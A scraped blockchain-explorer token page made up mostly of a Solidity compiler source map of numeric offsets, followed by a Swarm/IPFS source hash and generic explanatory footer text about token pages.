;:::i;:::-;-1:-1:-1;;;;;7845:18:0;;;7818:7;7845:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7729:151;9155:713;;;:::i;7520:100::-;7574:13;7607:5;7600:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7520:100;:::o;8501:160::-;8575:4;8592:39;4186:10;8615:7;8624:6;8592:8;:39::i;:::-;-1:-1:-1;8649:4:0;8501:160;;;;;:::o;8071:422::-;8177:4;8194:36;8204:6;8212:9;8223:6;8194:9;:36::i;:::-;-1:-1:-1;;;;;8270:19:0;;8243:24;8270:19;;;:11;:19;;;;;;;;4186:10;8270:33;;;;;;;;8322:26;;;;8314:79;;;;-1:-1:-1;;;8314:79:0;;3745:2:1;8314:79:0;;;3727:21:1;3784:2;3764:18;;;3757:30;3823:34;3803:18;;;3796:62;-1:-1:-1;;;3874:18:1;;;3867:38;3922:19;;8314:79:0;;;;;;;;;8404:57;8413:6;4186:10;8435:25;8454:6;8435:16;:25;:::i;:::-;8404:8;:57::i;:::-;8481:4;8474:11;;;8071:422;;;;;;:::o;9023:124::-;6184:6;;9122:15;;-1:-1:-1;;;;;6184:6:0;4186:10;6184:22;6176:67;;;;-1:-1:-1;;;6176:67:0;;;;;;;:::i;6271:148::-;6184:6;;-1:-1:-1;;;;;6184:6:0;4186:10;6184:22;6176:67;;;;-1:-1:-1;;;6176:67:0;;;;;;;:::i;:::-;6362:6:::1;::::0;6341:40:::1;::::0;6378:1:::1;::::0;-1:-1:-1;;;;;6362:6:0::1;::::0;6341:40:::1;::::0;6378:1;;6341:40:::1;6392:6;:19:::0;;-1:-1:-1;;;;;;6392:19:0::1;::::0;;6271:148::o;7408:104::-;7464:13;7497:7;7490:14;;;;;:::i;7888:175::-;7974:4;7991:42;4186:10;8015:9;8026:6;7991:9;:42::i;9155:713::-;6122:6;;-1:-1:-1;;;;;6122:6:0;9211:10;:21;:41;;;;-1:-1:-1;9237:5:0;;;;:14;9211:41;9202:88;;;;-1:-1:-1;;;9202:88:0;;;;;;;:::i;:::-;9327:7;;9303:45;;9320:4;;-1:-1:-1;;;;;9327:7:0;-1:-1:-1;;9303:8:0;:45::i;:::-;9361:21;9400:5;9385:12;;:20;;;;:::i;:::-;:36;;9409:11;9385:36;:::i;:::-;9450:4;9432:24;;;;:9;:24;;;;;:41;;9361:60;;-1:-1:-1;9361:60:0;;9432:24;;;:41;;9361:60;;9432:41;:::i;:::-;;;;-1:-1:-1;;9494:10:0;9484:21;;;;:9;:21;;;;;:38;;9509:13;;9484:21;:38;;9509:13;;9484:38;:::i;:::-;;;;-1:-1:-1;;9538:50:0;;1439:25:1;;;9567:4:0;;9547:10;;9538:50;;1427:2:1;1412:18;9538:50:0;;;;;;;9620:6;;;;;;;;;-1:-1:-1;;;;;9620:6:0;-1:-1:-1;;;;;9620:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9649:4;;;9608:61;;-1:-1:-1;;;9608:61:0;;-1:-1:-1;;;;;9649:4:0;;;9608:61;;;5571:34:1;;;;9663:4:0;5621:18:1;;;5614:43;9608:40:0;;;;;;;5506:18:1;;9608:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9601:4;:68;;-1:-1:-1;;;;;9601:68:0;;;-1:-1:-1;;;;;;9601:68:0;;;;;;9680:6;;;:22;9710:9;9729:4;9736:13;;9710:9;9777:7;6122:6;;-1:-1:-1;;;;;6122:6:0;;6057:79;9777:7;9786:21;:15;9804:3;9786:21;:::i;:::-;9680:128;;;;;;-1:-1:-1;;;;;;9680:128:0;;;-1:-1:-1;;;;;6011:15:1;;;9680:128:0;;;5993:34:1;6043:18;;;6036:34;;;;6086:18;;;6079:34;;;;6129:18;;;6122:34;;;;6193:15;;;6172:19;;;6165:44;6225:19;;;6218:35;;;;5927:19;;9680:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;9821:5:0;:12;;-1:-1:-1;;9821:12:0;9829:4;9821:12;;;-1:-1:-1;;9848:12:0;9835:10;:25;9155:713::o;8669:346::-;-1:-1:-1;;;;;8771:19:0;;8763:68;;;;-1:-1:-1;;;8763:68:0;;6777:2:1;8763:68:0;;;6759:21:1;6816:2;6796:18;;;6789:30;6855:34;6835:18;;;6828:62;-1:-1:-1;;;6906:18:1;;;6899:34;6950:19;;8763:68:0;6575:400:1;8763:68:0;-1:-1:-1;;;;;8850:21:0;;8842:68;;;;-1:-1:-1;;;8842:68:0;;7182:2:1;8842:68:0;;;7164:21:1;7221:2;7201:18;;;7194:30;7260:34;7240:18;;;7233:62;-1:-1:-1;;;7311:18:1;;;7304:32;7353:19;;8842:68:0;6980:398:1;8842:68:0;-1:-1:-1;;;;;8923:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8975:32;;1439:25:1;;;8975:32:0;;1412:18:1;8975:32:0;;;;;;;;8669:346;;;:::o;10700:582::-;10798:7;:16;;-1:-1:-1;;;;;10798:16:0;;;-1:-1:-1;;;;;;10798:16:0;;;;;;;10816:10;:22;;;;;;;;;;;;;;;10861:5;;;;:13;;10798:16;10861:13;;10860:45;;-1:-1:-1;10880:7:0;;-1:-1:-1;;;;;10880:7:0;10899:4;10880:24;10860:45;:69;;;-1:-1:-1;6122:6:0;;10910:7;;-1:-1:-1;;;;;10910:7:0;;;6122:6;;10910:18;10860:69;10851:117;;;;-1:-1:-1;;;10851:117:0;;7585:2:1;10851:117:0;;;7567:21:1;7624:2;7604:18;;;7597:30;7663:34;7643:18;;;7636:62;-1:-1:-1;;;7714:18:1;;;7707:31;7755:19;;10851:117:0;7383:397:1;10851:117:0;10987:7;;-1:-1:-1;;;;;10987:7:0;10979:71;;;;-1:-1:-1;;;10979:71:0;;7987:2:1;10979:71:0;;;7969:21:1;8026:2;8006:18;;;7999:30;8065:34;8045:18;;;8038:62;-1:-1:-1;;;8116:18:1;;;8109:35;8161:19;;10979:71:0;7785:401:1;10979:71:0;-1:-1:-1;;;;;11069:23:0;;11061:71;;;;-1:-1:-1;;;11061:71:0;;8393:2:1;11061:71:0;;;8375:21:1;8432:2;8412:18;;;8405:30;8471:34;8451:18;;;8444:62;-1:-1:-1;;;8522:18:1;;;8515:33;8565:19;;11061:71:0;8191:399:1;11061:71:0;11145:29;11159:6;11167;11145:13;:29::i;:::-;-1:-1:-1;;;;;;11187:20:0;;;;;;:9;:20;;;;;:30;;11211:6;;11187:20;:30;;11211:6;;11187:30;:::i;:::-;;;;;;;;11254:9;-1:-1:-1;;;;;11237:35:0;11246:6;-1:-1:-1;;;;;11237:35:0;;11265:6;11237:35;;;;1439:25:1;;1427:2;1412:18;;1293:177;10135:557:0;10208:14;10285:4;10279:11;-1:-1:-1;;;10315:4:0;10308:80;10430:6;10423:4;10417;10413:15;10406:31;10478:4;10472;10468:15;10462:4;10455:29;10563:4;10557;10551;10545;10542:1;10535:4;10529:11;10522:5;10517:51;10589:7;10586:36;;;10615:4;10609:11;10599:21;;10586:36;-1:-1:-1;10669:15:0;;-1:-1:-1;10678:6:0;10669;:15;:::i;:::-;-1:-1:-1;;;;;10649:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;10135:557:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:315::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;781:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;1936:383::-;2013:6;2021;2029;2082:2;2070:9;2061:7;2057:23;2053:32;2050:52;;;2098:1;2095;2088:12;2050:52;2134:9;2121:23;2111:33;;2194:2;2183:9;2179:18;2166:32;2207:31;2232:5;2207:31;:::i;2513:247::-;2572:6;2625:2;2613:9;2604:7;2600:23;2596:32;2593:52;;;2641:1;2638;2631:12;2593:52;2680:9;2667:23;2699:31;2724:5;2699:31;:::i;2765:388::-;2833:6;2841;2894:2;2882:9;2873:7;2869:23;2865:32;2862:52;;;2910:1;2907;2900:12;2862:52;2949:9;2936:23;2968:31;2993:5;2968:31;:::i;:::-;3018:5;-1:-1:-1;3075:2:1;3060:18;;3047:32;3088:33;3047:32;3088:33;:::i;:::-;3140:7;3130:17;;;2765:388;;;;;:::o;3158:380::-;3237:1;3233:12;;;;3280;;;3301:61;;3355:4;3347:6;3343:17;3333:27;;3301:61;3408:2;3400:6;3397:14;3377:18;3374:38;3371:161;;3454:10;3449:3;3445:20;3442:1;3435:31;3489:4;3486:1;3479:15;3517:4;3514:1;3507:15;3371:161;;3158:380;;;:::o;3952:127::-;4013:10;4008:3;4004:20;4001:1;3994:31;4044:4;4041:1;4034:15;4068:4;4065:1;4058:15;4084:128;4151:9;;;4172:11;;;4169:37;;;4186:18;;:::i;4217:356::-;4419:2;4401:21;;;4438:18;;;4431:30;4497:34;4492:2;4477:18;;4470:62;4564:2;4549:18;;4217:356::o;4578:217::-;4618:1;4644;4634:132;;4688:10;4683:3;4679:20;4676:1;4669:31;4723:4;4720:1;4713:15;4751:4;4748:1;4741:15;4634:132;-1:-1:-1;4780:9:1;;4578:217::o;4800:168::-;4873:9;;;4904;;4921:15;;;4915:22;;4901:37;4891:71;;4942:18;;:::i;4973:125::-;5038:9;;;5059:10;;;5056:36;;;5072:18;;:::i;5103:251::-;5173:6;5226:2;5214:9;5205:7;5201:23;5197:32;5194:52;;;5242:1;5239;5232:12;5194:52;5274:9;5268:16;5293:31;5318:5;5293:31;:::i;6264:306::-;6352:6;6360;6368;6421:2;6409:9;6400:7;6396:23;6392:32;6389:52;;;6437:1;6434;6427:12;6389:52;6466:9;6460:16;6450:26;;6516:2;6505:9;6501:18;6495:25;6485:35;;6560:2;6549:9;6545:18;6539:25;6529:35;;6264:306;;;;;:::o

Swarm Source

ipfs://caded7191b24e342d39ea9722110f840cdb289a17e62c65108ff069da9126d59
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.